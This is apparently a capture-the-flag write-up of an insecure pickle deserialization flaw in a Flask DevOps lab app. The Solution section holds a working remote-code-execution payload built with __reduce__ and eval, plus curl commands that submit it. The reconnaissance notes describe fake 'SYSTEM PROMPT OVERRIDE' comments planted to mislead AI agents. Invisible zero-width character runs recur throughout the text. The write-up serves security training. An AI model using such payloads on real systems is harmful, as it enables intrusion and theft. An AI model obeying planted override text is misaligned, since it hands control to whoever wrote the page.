← Back to Writeups
CUSTOMMediumWeb

Lab 13 — WebForge — Insecure Deserialization in Config Import

XESXOR9/10/20263 min read
#web#custom#medium#base64_payload_injection#insecure_pickle_deserializatio#python_eval_execution#rce_via_reduce_method#linux

Lab 13 — WebForge — Insecure Deserialization in Config Import

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: base64_payload_injection, insecure_pickle_deserialization, python_eval_execution, rce_via_reduce_method

Summary

Task: Flask DevOps platform with config import/export using Python pickle serialization. Solution: Craft malicious pickle payload with reduce method to achieve RCE and read /tmp/flag.txt.

Lab 13 — WebForge — Insecure Deserialization in Config Import — HackAdvisor

Description

WebForge is a DevOps platform for managing servers, deployments, and configurations. The application provides server monitoring, deployment management, configuration management, and audit logging. The platform has an import/export feature for configurations that uses Python serialization. Investigate how the import functionality processes uploaded data. Objective: Find an insecure deserialization vulnerability that allows Remote Code Execution. The flag is stored in /tmp/flag.txt. Test credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Flask-based DevOps platform ("WebForge v3.8.1") with configuration import/export functionality. The export produces .wfb files containing base64-encoded pickle-serialized data. The import endpoint deserializes user-supplied data with pickle.loads() without sanitization, enabling arbitrary code execution. The application also contains anti-AI honeypot defenses (decoy flags and fake system prompt overrides in HTML comments).

Analysis

Reconnaissance

  • Target URL redirects to /login, revealing a Flask/Python application called "WebForge v3.8.1"
  • HTML source contains honeypot/decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments designed to trick AI agents and automated scanners into stopping early ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Authentication

  • Logged in with test credentials: user@test.com / password123
  • Received Flask session cookie, logged in as "Jordan Martinez" with role "engineer"

Configuration Import/Export

  • Dashboard at /configurations/ has two key features:
    • Export All (/configurations/export) — downloads a .wfb backup file
    • Import Backup (/configurations/import) — accepts file upload or pasted base64 data
  • The exported .wfb file contains base64-encoded data starting with gASV — the base64 encoding of \x80\x04\x95, which is the Python pickle protocol 4 header
  • The import form accepts data via a backup_data textarea field and describes it as "base64-encoded serialized data" ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability

Python's pickle.loads() is inherently unsafe when used on untrusted input. The __reduce__ method on a class allows specifying an arbitrary callable and arguments that get executed during deserialization. The application deserializes user-supplied base64-decoded data directly with pickle.loads() without any validation or sandboxing.

Solution

Step 1: Craft Malicious Pickle Payload

python
#!/usr/bin/env python3
import pickle
import base64

class RCE:
    def __reduce__(self):
        return (eval, ("__import__('subprocess').check_output(['cat','/tmp/flag.txt']).decode()",))
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()
print(encoded)
# Output: gAWVYwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxHX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsJy90bXAvZmxhZy50eHQnXSkuZGVjb2RlKCmUhZRSlC4=

The payload works as follows:

  1. pickle.dumps(RCE()) serializes the object, embedding the __reduce__ return value
  2. During pickle.loads(), Python calls eval("__import__('subprocess').check_output(['cat','/tmp/flag.txt']).decode()")
  3. This imports subprocess, runs cat /tmp/flag.txt, and returns the flag content ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Authenticate and Get Session Cookie

bash
COOKIE=$(curl -s -c - -X POST "$BASE/login" \
  -d "email=user@test.com&password=password123" | grep session)

Step 3: Submit Payload via Config Import

bash
PAYLOAD="gAWVYwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxHX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsJy90bXAvZmxhZy50eHQnXSkuZGVjb2RlKCmUhZRSlC4="

curl -s -b "$COOKIE" -X POST "$BASE/configurations/import" \
  -d "backup_data=$PAYLOAD"

The server deserializes the pickle data, triggering the __reduce__ method. The response page displays the flag content in a <pre> tag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍